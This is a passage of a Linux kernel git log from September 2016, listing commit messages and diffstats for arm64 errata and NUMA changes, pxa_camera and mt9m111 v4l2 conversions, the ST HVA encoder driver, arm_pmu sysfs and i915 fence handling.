arch/arm64/kernel/asm-offsets.c | 2 ++ arch/arm64/kernel/cpu_errata.c | 22 ++++++++++++++++++++++ arch/arm64/kernel/traps.c | 14 ++++++++++++++ 7 files changed, 71 insertions(+), 3 deletions(-) commit 9dbd5bb25c56e35e6b4c34d968689a1ded850924 Author: Suzuki K Poulose Date: Fri Sep 9 14:07:15 2016 +0100 arm64: Refactor sysinstr exception handling Right now we trap some of the user space data cache operations based on a few Errata (ARM 819472, 826319, 827319 and 824069). We need to trap userspace access to CTR_EL0, if we detect mismatched cache line size. Since both these traps share the EC, refactor the handler a little bit to make it a bit more reader friendly. Cc: Mark Rutland Cc: Will Deacon Cc: Catalin Marinas Acked-by: Andre Przywara Signed-off-by: Suzuki K Poulose Signed-off-by: Will Deacon arch/arm64/include/asm/esr.h | 76 ++++++++++++++++++++++++++++++++++++++------ arch/arm64/kernel/traps.c | 73 +++++++++++++++++++++++++++--------------- 2 files changed, 114 insertions(+), 35 deletions(-) commit 072f0a633838aca13b5a8b211eb64f5c445cfd7c Author: Suzuki K Poulose Date: Fri Sep 9 14:07:14 2016 +0100 arm64: Introduce raw_{d,i}cache_line_size On systems with mismatched i/d cache min line sizes, we need to use the smallest size possible across all CPUs. This will be done by fetching the system wide safe value from CPU feature infrastructure. However the some special users(e.g kexec, hibernate) would need the line size on the CPU (rather than the system wide), when either the system wide feature may not be accessible or it is guranteed that the caller executes with a gurantee of no migration. Provide another helper which will fetch cache line size on the current CPU. Cc: Mark Rutland Cc: Will Deacon Cc: Catalin Marinas Acked-by: James Morse Reviewed-by: Geoff Levand Signed-off-by: Suzuki K Poulose Signed-off-by: Will Deacon arch/arm64/include/asm/assembler.h | 24 ++++++++++++++++++++---- arch/arm64/kernel/hibernate-asm.S | 2 +- arch/arm64/kernel/relocate_kernel.S | 2 +- 3 files changed, 22 insertions(+), 6 deletions(-) commit c831b2ae257853ecd36ea4f7d788bf0665e4cf89 Author: Suzuki K Poulose Date: Fri Sep 9 14:07:13 2016 +0100 arm64: alternative: Add support for patching adrp instructions adrp uses PC-relative address offset to a page (of 4K size) of a symbol. If it appears in an alternative code patched in, we should adjust the offset to reflect the address where it will be run from. This patch adds support for fixing the offset for adrp instructions. Cc: Will Deacon Cc: Marc Zyngier Cc: Andre Przywara Cc: Mark Rutland Signed-off-by: Suzuki K Poulose Signed-off-by: Will Deacon arch/arm64/kernel/alternative.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit 46084bc253e1acdd6c47846e91fc20f4ab4f1fec Author: Suzuki K Poulose Date: Fri Sep 9 14:07:12 2016 +0100 arm64: insn: Add helpers for adrp offsets Adds helpers for decoding/encoding the PC relative addresses for adrp. This will be used for handling dynamic patching of 'adrp' instructions in alternative code patching. Cc: Mark Rutland Cc: Will Deacon Cc: Catalin Marinas Cc: Marc Zyngier Signed-off-by: Suzuki K Poulose Signed-off-by: Will Deacon arch/arm64/include/asm/insn.h | 11 ++++++++++- arch/arm64/kernel/insn.c | 13 +++++++++++++ 2 files changed, 23 insertions(+), 1 deletion(-) commit baa763b565386b1383b87b6fb76e72db84a0ff16 Author: Suzuki K Poulose Date: Fri Sep 9 14:07:11 2016 +0100 arm64: alternative: Disallow patching instructions using literals The alternative code patching doesn't check if the replaced instruction uses a pc relative literal. This could cause silent corruption in the instruction stream as the instruction will be executed from a different address than what it was compiled for. Catch all such cases. Cc: Marc Zyngier Cc: Andre Przywara Cc: Mark Rutland Cc: Catalin Marinas Suggested-by: Will Deacon Signed-off-by: Suzuki K Poulose Signed-off-by: Will Deacon arch/arm64/kernel/alternative.c | 6 ++++++ 1 file changed, 6 insertions(+) commit c47a1900ad710fd2c97127e2ba19da1df79cf733 Author: Suzuki K Poulose Date: Fri Sep 9 14:07:10 2016 +0100 arm64: Rearrange CPU errata workaround checks Right now we run through the work around checks on a CPU from __cpuinfo_store_cpu. There are some problems with that: 1) We initialise the system wide CPU feature registers only after the Boot CPU updates its cpuinfo. Now, if a work around depends on the variance of a CPU ID feature (e.g, check for Cache Line size mismatch), we have no way of performing it cleanly for the boot CPU. 2) It is out of place, invoked from __cpuinfo_store_cpu() in cpuinfo.c. It is not an obvious place for that. This patch rearranges the CPU specific capability(aka work around) checks. 1) At the moment we use verify_local_cpu_capabilities() to check if a new CPU has all the system advertised features. Use this for the secondary CPUs to perform the work around check. For that we rename verify_local_cpu_capabilities() => check_local_cpu_capabilities() which: If the system wide capabilities haven't been initialised (i.e, the CPU is activated at the boot), update the system wide detected work arounds. Otherwise (i.e a CPU hotplugged in later) verify that this CPU conforms to the system wide capabilities. 2) Boot CPU updates the work arounds from smp_prepare_boot_cpu() after we have initialised the system wide CPU feature values. Cc: Mark Rutland Cc: Andre Przywara Cc: Will Deacon Cc: Catalin Marinas Signed-off-by: Suzuki K Poulose Signed-off-by: Will Deacon arch/arm64/include/asm/cpufeature.h | 4 ++-- arch/arm64/kernel/cpufeature.c | 30 ++++++++++++++++++++---------- arch/arm64/kernel/cpuinfo.c | 2 -- arch/arm64/kernel/smp.c | 8 +++++++- 4 files changed, 29 insertions(+), 15 deletions(-) commit 89ba26458b72422e0a1d85eb729a15220b204458 Author: Suzuki K Poulose Date: Fri Sep 9 14:07:09 2016 +0100 arm64: Use consistent naming for errata handling This is a cosmetic change to rename the functions dealing with the errata work arounds to be more consistent with their naming. 1) check_local_cpu_errata() => update_cpu_errata_workarounds() check_local_cpu_errata() actually updates the system's errata work arounds. So rename it to reflect the same. 2) verify_local_cpu_errata() => verify_local_cpu_errata_workarounds() Use errata_workarounds instead of _errata. Cc: Mark Rutland Cc: Catalin Marinas Acked-by: Andre Przywara Signed-off-by: Suzuki K Poulose Signed-off-by: Will Deacon arch/arm64/include/asm/cpufeature.h | 4 ++-- arch/arm64/kernel/cpu_errata.c | 4 ++-- arch/arm64/kernel/cpufeature.c | 2 +- arch/arm64/kernel/cpuinfo.c | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) commit ee7bc638f140e0586941002ffb82765743dabb97 Author: Suzuki K Poulose Date: Fri Sep 9 14:07:08 2016 +0100 arm64: Set the safe value for L1 icache policy Right now we use 0 as the safe value for CTR_EL0:L1Ip, which is not defined at the moment. The safer value for the L1Ip should be the weakest of the policies, which happens to be AIVIVT. While at it, fix the comment about safe_val. Cc: Mark Rutland Cc: Catalin Marinas Cc: Will Deacon Signed-off-by: Suzuki K Poulose Signed-off-by: Will Deacon arch/arm64/include/asm/cpufeature.h | 2 +- arch/arm64/kernel/cpufeature.c | 5 +++-- 2 files changed, 4 insertions(+), 3 deletions(-) commit ade50f4ff8029a182c16c6418995e6ec569ea9fc Author: Mauro Carvalho Chehab Date: Fri Sep 9 10:59:57 2016 -0300 [media] pxa_camera: remove an unused structure pointer As reported by smatch: drivers/media/platform/pxa_camera.c: In function 'pxa_dma_start_channels': drivers/media/platform/pxa_camera.c:457:21: warning: variable 'active' set but not used [-Wunused-but-set-variable] struct pxa_buffer *active; ^~~~~~ Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/pxa_camera.c | 3 --- 1 file changed, 3 deletions(-) commit 7ba5f605f3a0d9495aad539eeb8346d726dfc183 Author: Zhen Lei Date: Thu Sep 1 14:55:04 2016 +0800 arm64/numa: remove the limitation that cpu0 must bind to node0 1. Remove the old binding code. 2. Read the nid of cpu0 from dts. 3. Fallback the nid of cpu0 to 0 when numa=off is set in bootargs. Signed-off-by: Zhen Lei Signed-off-by: Will Deacon arch/arm64/kernel/smp.c | 1 + arch/arm64/mm/numa.c | 16 ++++++++++------ 2 files changed, 11 insertions(+), 6 deletions(-) commit df7ffa34cc0c06bfa7206732df78725ff34633ee Author: Zhen Lei Date: Thu Sep 1 14:55:03 2016 +0800 arm64/numa: remove some useless code When the deleted code is executed, only the bit of cpu0 was set on cpu_possible_mask. So that, only set_cpu_numa_node(0, NUMA_NO_NODE); will be executed. And map_cpu_to_node(0, 0) will soon be called. So these code can be safely removed. Signed-off-by: Zhen Lei Signed-off-by: Will Deacon arch/arm64/mm/numa.c | 4 ---- 1 file changed, 4 deletions(-) commit 7af3a0a992524ffddc342cd1481cc4dcb3f1da71 Author: Zhen Lei Date: Thu Sep 1 14:55:00 2016 +0800 arm64/numa: support HAVE_SETUP_PER_CPU_AREA To make each percpu area allocated from its local numa node. Without this patch, all percpu areas will be allocated from the node which cpu0 belongs to. Signed-off-by: Zhen Lei Signed-off-by: Will Deacon arch/arm64/Kconfig | 8 ++++++++ arch/arm64/mm/numa.c | 52 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 60 insertions(+) commit f11c7bacd5941fcfc5e9dd3bb0362e8a2eec4722 Author: Kefeng Wang Date: Thu Sep 1 14:54:59 2016 +0800 arm64: numa: Use pr_fmt() Use pr_fmt to prefix kernel output, and remove duplicated msg of NUMA turned off. Signed-off-by: Kefeng Wang Signed-off-by: Will Deacon arch/arm64/mm/numa.c | 37 ++++++++++++++++++------------------- 1 file changed, 18 insertions(+), 19 deletions(-) commit ad02180515d4856702bc656f754e9df83ab0345b Author: Kefeng Wang Date: Thu Sep 1 14:54:58 2016 +0800 of_numa: Use pr_fmt() Use pr_fmt to prefix kernel output. Signed-off-by: Kefeng Wang Acked-by: Rob Herring Signed-off-by: Will Deacon drivers/of/of_numa.c | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) commit 837dae1b4308f2dfc9c5bc76c367553670198c63 Author: Kefeng Wang Date: Thu Sep 1 14:54:57 2016 +0800 of_numa: Use of_get_next_parent to simplify code Use of_get_next_parent() instead of open-code. Signed-off-by: Kefeng Wang Acked-by: Rob Herring Signed-off-by: Will Deacon drivers/of/of_numa.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit 794224ea565c439ca624a3760ac220928463ea17 Author: Zhen Lei Date: Thu Sep 1 14:54:56 2016 +0800 arm64/numa: avoid inconsistent information to be printed numa_init may return error because of numa configuration error. So "No NUMA configuration found" is inaccurate. In fact, specific configuration error information should be immediately printed by the testing branch. Signed-off-by: Zhen Lei Signed-off-by: Will Deacon arch/arm64/kernel/acpi_numa.c | 4 +++- arch/arm64/mm/numa.c | 6 +++--- 2 files changed, 6 insertions(+), 4 deletions(-) commit 9787ed6e5cee7a62320f3014eb5e7b373502c292 Author: Zhen Lei Date: Thu Sep 1 14:54:55 2016 +0800 of/numa: remove a duplicated warning This warning has been printed in of_numa_parse_cpu_nodes before. Signed-off-by: Zhen Lei Acked-by: Rob Herring Signed-off-by: Will Deacon drivers/of/of_numa.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit 571a588fec2de4efd6043805ab0b017c67b63a4d Author: Zhen Lei Date: Thu Sep 1 14:54:54 2016 +0800 of/numa: add nid check for memory block If the numa-id which was configured in memory@ devicetree node is greater than MAX_NUMNODES, we should report a warning. We have done this for cpus and distance-map dt nodes, this patch help them to be consistent. Acked-by: Rob Herring Signed-off-by: Zhen Lei Signed-off-by: Will Deacon drivers/of/of_numa.c | 5 +++++ 1 file changed, 5 insertions(+) commit 84b14256c18c967afd3cf4ee2df09535587154e0 Author: Zhen Lei Date: Thu Sep 1 14:54:53 2016 +0800 of/numa: fix a memory@ node can only contains one memory block For a normal memory@ devicetree node, its reg property can contains more memory blocks. Because we don't known how many memory blocks maybe contained, so we try from index=0, increase 1 until error returned(the end). Signed-off-by: Zhen Lei Acked-by: Rob Herring Signed-off-by: Will Deacon drivers/of/of_numa.c | 29 ++++++++++------------------- 1 file changed, 10 insertions(+), 19 deletions(-) commit 16a82f06c40301045e4c05297ea93b85595dbbc4 Author: Zhen Lei Date: Thu Sep 1 14:54:52 2016 +0800 of/numa: remove a duplicated pr_debug information This information will be printed in the subfunction numa_add_memblk. They are not the same, but very similar. Signed-off-by: Zhen Lei Acked-by: Rob Herring Signed-off-by: Will Deacon drivers/of/of_numa.c | 4 ---- 1 file changed, 4 deletions(-) commit 8f05b34a8be23d483661de181aa77c07d8a1bd58 Author: Mauro Carvalho Chehab Date: Fri Sep 9 10:58:58 2016 -0300 [media] pxa_camera: make soc_mbus_xlate_by_fourcc() static As warned by smatch: drivers/media/platform/pxa_camera.c:283:39: warning: no previous prototype for 'soc_mbus_xlate_by_fourcc' [-Wmissing-prototypes] const struct soc_camera_format_xlate *soc_mbus_xlate_by_fourcc( ^~~~~~~~~~~~~~~~~~~~~~~~ Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/pxa_camera.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 5809ecdd6c3c0d6d568a10280f3736f1f4304930 Author: Hans Verkuil Date: Tue Sep 6 07:37:45 2016 -0300 [media] pxa_camera: allow building it if COMPILE_TEST is set Allow building this driver if COMPILE_TEST is set. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/Kconfig | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 855f5aa43224f3230dd0e9b50795557b88f464a7 Author: Robert Jarzmik Date: Tue Sep 6 06:04:24 2016 -0300 [media] media: platform: pxa_camera: fix style This is a tiny fix for a switch case which quiets 2 checkpatch harmless warnings. The generated code is not affected. Signed-off-by: Robert Jarzmik Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/pxa_camera.c | 2 ++ 1 file changed, 2 insertions(+) commit fe01111d23810c0cf6830ce5af1c14c6d3df6dc5 Author: Liping Zhang Date: Tue Sep 6 22:33:37 2016 +0800 netfilter: nft_queue: check the validation of queues_total and queuenum Although the validation of queues_total and queuenum is checked in nft utility, but user can add nft rules via nfnetlink, so it is necessary to check the validation at the nft_queue expr init routine too. Tested by run ./nft-test.py any/queue.t: any/queue.t: 6 unit tests, 0 error, 0 warning Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_queue.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 4bb738f228b368d32cd8a430e989a2ccc6a20271 Author: Robert Jarzmik Date: Tue Sep 6 06:04:23 2016 -0300 [media] media: platform: pxa_camera: move pxa_camera out of soc_camera As the conversion to a v4l2 standalone device is finished, move pxa_camera one directory up and finish severing any dependency to soc_camera. Signed-off-by: Robert Jarzmik Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/Kconfig | 8 + drivers/media/platform/Makefile | 1 + drivers/media/platform/pxa_camera.c | 2096 ++++++++++++++++++++++++ drivers/media/platform/soc_camera/Kconfig | 8 - drivers/media/platform/soc_camera/Makefile | 1 - drivers/media/platform/soc_camera/pxa_camera.c | 2096 ------------------------ 6 files changed, 2105 insertions(+), 2105 deletions(-) commit fcdf9bbc912516801722ee5a289f6619e3619a14 Author: Robert Jarzmik Date: Tue Sep 6 06:04:22 2016 -0300 [media] media: platform: pxa_camera: change stop_streaming semantics Instead of the legacy behavior where it was required to wait for all video buffers to be finished by the hardware, use a cancel like strategy : as soon as the stop_streaming() call is done, abort all DMA transfers, report the already buffers as failed and return. This makes stop_streaming() more a "cancel capture" than a "wait for end of capture" semantic. Signed-off-by: Robert Jarzmik Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/soc_camera/pxa_camera.c | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) commit cdd657eb441ceb3b938ed0664d90ce07fbde3139 Author: Robert Jarzmik Date: Tue Sep 6 06:04:21 2016 -0300 [media] media: platform: pxa_camera: add debug register access Add pxa_camera registers access through advanced video debugging. Signed-off-by: Robert Jarzmik Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/soc_camera/pxa_camera.c | 32 ++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) commit 283e4a82999f48c61495436b9bbd0357a3268f9d Author: Robert Jarzmik Date: Tue Sep 6 06:04:20 2016 -0300 [media] media: platform: pxa_camera: make a standalone v4l2 device This patch removes the soc_camera API dependency from pxa_camera. In the current status : - all previously captures are working the same on pxa270 - the s_crop() call was removed, judged not working (see what happens soc_camera_s_crop() when get_crop() == NULL) - if the pixel clock is provided by then sensor, ie. not MCLK, the dual stage change is not handled yet. => there is no in-tree user of this, so I'll let it that way - the MCLK is not yet finished, it's as in the legacy way, ie. activated at video device opening and closed at video device closing. In a subsequence patch pxa_camera_mclk_ops should be used, and platform data MCLK ignored. It will be the sensor's duty to request the clock and enable it, which will end in pxa_camera_mclk_ops. Signed-off-by: Robert Jarzmik Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/soc_camera/Kconfig | 2 +- drivers/media/platform/soc_camera/pxa_camera.c | 753 +++++++++++++++++-------- include/linux/platform_data/media/camera-pxa.h | 2 + 3 files changed, 518 insertions(+), 239 deletions(-) commit 48538b5863d8e8f8d567fc9a1d27a68623e0a0ff Author: Mark Rutland Date: Fri Sep 9 14:08:30 2016 +0100 drivers/perf: arm_pmu: expose a cpumask in sysfs In systems with heterogeneous CPUs, there are multiple logical CPU PMUs, each of which covers a subset of CPUs in the system. In some cases userspace needs to know which CPUs a given logical PMU covers, so we'd like to expose a cpumask under sysfs, similar to what is done for uncore PMUs. Unfortunately, prior to commit 00e727bb389359c8 ("perf stat: Balance opening and reading events"), perf stat only correctly handled a cpumask holding a single CPU, and only when profiling in system-wide mode. In other cases, the presence of a cpumask file could cause perf stat to behave erratically. Thus, exposing a cpumask file would break older perf binaries in cases where they would otherwise work. To avoid this issue while still providing userspace with the information it needs, this patch exposes a differently-named file (cpus) under sysfs. New tools can look for this and operate correctly, while older tools will not be adversely affected by its presence. Signed-off-by: Mark Rutland Cc: Will Deacon Signed-off-by: Will Deacon drivers/perf/arm_pmu.c | 20 ++++++++++++++++++++ include/linux/perf/arm_pmu.h | 1 + 2 files changed, 21 insertions(+) commit 1589680da6f7df30d8a592eebee16478f3e34a2c Author: Mark Rutland Date: Fri Sep 9 14:08:29 2016 +0100 drivers/perf: arm_pmu: only use common attr_groups Now that the 32-bit and 64-bit perf backends use the common groups directly, remove the fallback and no longer allow the groups array to be overridden. Signed-off-by: Mark Rutland Cc: Will Deacon Signed-off-by: Will Deacon drivers/perf/arm_pmu.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 9268c5dafae486de68fbbf3ae079edd00f386724 Author: Mark Rutland Date: Fri Sep 9 14:08:28 2016 +0100 arm: perf: move to common attr_group fields By using a common attr_groups array, the common arm_pmu code can set up common files (e.g. cpumask) for us in subsequent patches. Signed-off-by: Mark Rutland Cc: Will Deacon Signed-off-by: Will Deacon arch/arm/kernel/perf_event_v7.c | 47 ++++++++++++++++++++++++----------------- 1 file changed, 28 insertions(+), 19 deletions(-) commit 569de9026c2904dab9b335437fe48e318e824c96 Author: Mark Rutland Date: Fri Sep 9 14:08:27 2016 +0100 arm64: perf: move to common attr_group fields By using a common attr_groups array, the common arm_pmu code can set up common files (e.g. cpumask) for us in subsequent patches. Signed-off-by: Mark Rutland Cc: Will Deacon Signed-off-by: Will Deacon arch/arm64/kernel/perf_event.c | 36 ++++++++++++++++++++++++------------ 1 file changed, 24 insertions(+), 12 deletions(-) commit 86cdd72af936860503f392825410d1b60a3e474e Author: Mark Rutland Date: Fri Sep 9 14:08:26 2016 +0100 drivers/perf: arm_pmu: add common attr group fields In preparation for adding common attribute groups, add an array of attribute group pointers to arm_pmu, which will be used if the backend hasn't already set pmu::attr_groups. Subsequent patches will move backends over to using these, before adding common fields. Signed-off-by: Mark Rutland Cc: Will Deacon Signed-off-by: Will Deacon drivers/perf/arm_pmu.c | 3 +++ include/linux/perf/arm_pmu.h | 10 +++++++++- 2 files changed, 12 insertions(+), 1 deletion(-) commit 226ad6a18f511cfe285cc26a2334cc4257f9ddba Author: Robert Jarzmik Date: Tue Sep 6 06:04:19 2016 -0300 [media] media: platform: pxa_camera: remove set_selection This is to be seen as a regression as the set_selection (former set_crop) function is removed. This is a temporary situation in the v4l2 porting, and will have to be added later. Signed-off-by: Robert Jarzmik Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/soc_camera/pxa_camera.c | 83 -------------------------- 1 file changed, 83 deletions(-) commit 61634976a9876220f96b821eab2c80556aa5294f Author: Robert Jarzmik Date: Tue Sep 6 06:04:18 2016 -0300 [media] media: platform: pxa_camera: add buffer sequencing Add sequence numbers to completed buffers. Signed-off-by: Robert Jarzmik Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/soc_camera/pxa_camera.c | 5 +++++ 1 file changed, 5 insertions(+) commit 295ab497d6357300f06f8d8571fbecc590edb435 Author: Robert Jarzmik Date: Tue Sep 6 06:04:17 2016 -0300 [media] media: platform: pxa_camera: make printk consistent Make all print consistent by always using : - dev_xxx(pcdev_to_dev(pcdev), ....) This prepares the soc_camera adherence removal by making these call rely on only pcdev, and not the soc_camera icd structure. Signed-off-by: Robert Jarzmik Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/soc_camera/pxa_camera.c | 70 ++++++++++++++++---------- 1 file changed, 43 insertions(+), 27 deletions(-) commit b36bcbd6f2ddb9454346397e7baf4ca00b2d8077 Author: Robert Jarzmik Date: Tue Sep 6 06:04:16 2016 -0300 [media] media: platform: pxa_camera: introduce sensor_call Introduce sensor_call(), which will be used for all sensor invocations. This is a preparation move to v4l2 device conversion, ie. soc_camera adherence removal. Signed-off-by: Robert Jarzmik Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/soc_camera/pxa_camera.c | 27 ++++++++++++++------------ 1 file changed, 15 insertions(+), 12 deletions(-) commit 6f28435d1c157073e4257a5dca7695103f32ba02 Author: Robert Jarzmik Date: Tue Sep 6 06:04:15 2016 -0300 [media] media: platform: pxa_camera: trivial move of functions Move the functions in the file to be regrouped into meaningful blocks : 1. pxa camera core handling functions, manipulating the herdware 2. videobuf2 functions, dealing with video buffers 3. video ioctl (vidioc) related functions 4. driver probing, removal, suspend and resume This patch doesn't modify a single line of code. Signed-off-by: Robert Jarzmik Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/soc_camera/pxa_camera.c | 473 +++++++++++++------------ 1 file changed, 241 insertions(+), 232 deletions(-) commit e009ebd57ba680c52cf513de65a1a87bbf70a459 Author: Robert Jarzmik Date: Tue Sep 6 06:04:14 2016 -0300 [media] media: platform: pxa_camera: convert to vb2 Convert pxa_camera from videobuf to videobuf2. As the soc_camera was already compatible with videobuf2, the port is quite straightforward. The special case of this code in which the vb2 to prepare is "too big" in terms of size for the new capture format, the pxa_camera will fail. Signed-off-by: Robert Jarzmik Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/soc_camera/Kconfig | 4 +- drivers/media/platform/soc_camera/pxa_camera.c | 579 ++++++++++++------------- 2 files changed, 269 insertions(+), 314 deletions(-) commit c61e74e3a88c919d85706c49b18577e5b5cd0dbc Author: Robert Jarzmik Date: Tue Sep 6 06:04:13 2016 -0300 [media] media: mt9m111: move mt9m111 out of soc_camera As the mt9m111 is now working as a standalone v4l2 subdevice sensor, move it out of soc_camera directory and sever its dependency on soc_camera. Signed-off-by: Robert Jarzmik Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/Kconfig | 7 + drivers/media/i2c/Makefile | 1 + drivers/media/i2c/mt9m111.c | 1036 ++++++++++++++++++++++++++++++++ drivers/media/i2c/soc_camera/Kconfig | 7 +- drivers/media/i2c/soc_camera/Makefile | 1 - drivers/media/i2c/soc_camera/mt9m111.c | 1036 -------------------------------- 6 files changed, 1049 insertions(+), 1039 deletions(-) commit 1a412faa7a183ed5c2aade3d7e3383e555ab01c8 Author: Robert Jarzmik Date: Tue Sep 6 06:04:12 2016 -0300 [media] media: mt9m111: use only the SRGB colorspace mt9m111 being a camera sensor, its colorspace should always be SRGB, for both RGB based formats or YCbCr based ones. Signed-off-by: Robert Jarzmik Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/soc_camera/mt9m111.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 5d7cc01b20fc7eecddea0a539f6d8fd6e2234334 Author: Robert Jarzmik Date: Tue Sep 6 06:04:11 2016 -0300 [media] media: mt9m111: make a standalone v4l2 subdevice Remove the soc_camera adherence. Mostly the change removes the power manipulation provided by soc_camera, and instead : - powers on the sensor when the s_power control is activated - powers on the sensor in initial probe - enables and disables the MCLK provided to it in power on/off This patch also drops support for inverters on synchronisation and clock lines. It is assumed, if any board ever needs such inverters, support for them can be added in the future Acked-by: Guennadi Liakhovetski Signed-off-by: Robert Jarzmik Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/soc_camera/mt9m111.c | 51 ++++++++++------------------------ 1 file changed, 15 insertions(+), 36 deletions(-) commit fe713d608bcb5de7b709ddebceced9f047e3d506 Author: Jean-Christophe Trotin Date: Mon Sep 5 12:31:29 2016 -0300 [media] st-hva: update MAINTAINERS Add entry for the HVA driver to the MAINTAINERS file. Signed-off-by: Jean-Christophe Trotin Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab MAINTAINERS | 8 ++++++++ 1 file changed, 8 insertions(+) commit ba4616b7d9b9324021985fc5ecd9a9acd2f1f0f2 Author: Jean-Christophe Trotin Date: Mon Sep 5 11:06:30 2016 -0300 [media] st-hva: add H.264 video encoding support This patch adds the H.264 video encoding capability in the V4L2 HVA video encoder driver for STMicroelectronics SoC (hva-h264.c). The main supported features are: - profile: baseline, main, high, stereo high - level: up to 4.2 - bitrate mode: CBR, VBR - entropy mode: CABAC, CAVLC - video aspect: 1x1 only Signed-off-by: Yannick Fertre Signed-off-by: Jean-Christophe Trotin Acked-by: Peter Griffin Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/sti/hva/Makefile | 2 +- drivers/media/platform/sti/hva/hva-h264.c | 1050 +++++++++++++++++++++++++++++ drivers/media/platform/sti/hva/hva-v4l2.c | 109 ++- drivers/media/platform/sti/hva/hva.h | 35 +- 4 files changed, 1189 insertions(+), 7 deletions(-) commit 57b2c0628b6042b7cfad387fe54951ddf7185fd2 Author: Jean-Christophe Trotin Date: Mon Sep 5 11:06:29 2016 -0300 [media] st-hva: multi-format video encoder V4L2 driver This patch adds V4L2 HVA (Hardware Video Accelerator) video encoder driver for STMicroelectronics SoC. It uses the V4L2 mem2mem framework. This patch only contains the core parts of the driver: - the V4L2 interface with the userland (hva-v4l2.c) - the hardware services (hva-hw.c) - the memory management utilities (hva-mem.c) This patch doesn't include the support of specific codec (e.g. H.264) video encoding: this support is part of subsequent patches. Signed-off-by: Yannick Fertre Signed-off-by: Jean-Christophe Trotin Acked-by: Peter Griffin Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/Kconfig | 15 + drivers/media/platform/Makefile | 1 + drivers/media/platform/sti/hva/Makefile | 2 + drivers/media/platform/sti/hva/hva-hw.c | 538 ++++++++++++ drivers/media/platform/sti/hva/hva-hw.h | 42 + drivers/media/platform/sti/hva/hva-mem.c | 59 ++ drivers/media/platform/sti/hva/hva-mem.h | 34 + drivers/media/platform/sti/hva/hva-v4l2.c | 1308 +++++++++++++++++++++++++++++ drivers/media/platform/sti/hva/hva.h | 290 +++++++ 9 files changed, 2289 insertions(+) commit 851ba2d6977d6ada31366ae0b791a69132f2c8a7 Author: Chris Wilson Date: Fri Sep 9 14:12:01 2016 +0100 drm/i915: Serialise execbuf operation after a dma-buf reservation object Now that we can wait upon fences before emitting the request, it becomes trivial to wait upon any implicit fence provided by the dma-buf reservation object. To protect against failure, we force any asynchronous waits on a foreign fence to timeout after 10s - so that a stall in another driver does not permanently cripple ourselves. Still unpleasant though! Testcase: igt/prime_vgem/fence-wait Signed-off-by: Chris Wilson Reviewed-by: John Harrison Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-21-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_execbuffer.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 0a046a0e93d2971d42f975b7ac409af0d4d9e7b4 Author: Chris Wilson Date: Fri Sep 9 14:12:00 2016 +0100 drm/i915: Nonblocking request submission Now that we have fences in place to drive request submission, we can employ those to queue requests after their dependencies as opposed to stalling in the middle of an execbuf ioctl. (However, we still choose to spin before enabling the IRQ as that is faster - though contentious.) v2: Do the fence ordering first, where we can still fail. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-20-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_request.c | 21 +++++++++++++++------ drivers/gpu/drm/i915/i915_gem_request.h | 1 + 2 files changed, 16 insertions(+), 6 deletions(-) commit 32c2b4bda62839c527b47bc843aebcdd535c9519 Author: Chris Wilson Date: Fri Sep 9 14:11:59 2016 +0100 drm/i915: Avoid incrementing hangcheck whilst waiting for external fence If we are waiting upon an external fence, from the pov of hangcheck the engine is stuck on the last submitted seqno. Currently we give a small increment to the hangcheck score in order to catch a stuck waiter / driver. Now that we both have an independent wait hangcheck and may be stuck waiting on an external fence, resetting the GPU has little effect on that external fence. As we cannot advance by resetting, skip incrementing the hangcheck score. Signed-off-by: Chris Wilson Cc: Mika Kuoppala Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160909131201.16673-19-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_irq.c | 4 ---- 1 file changed, 4 deletions(-) commit 80b5bdbdcbce6efd1083269616dc9efea3c63363 Author: Chris Wilson Date: Fri Sep 9 14:11:58 2016 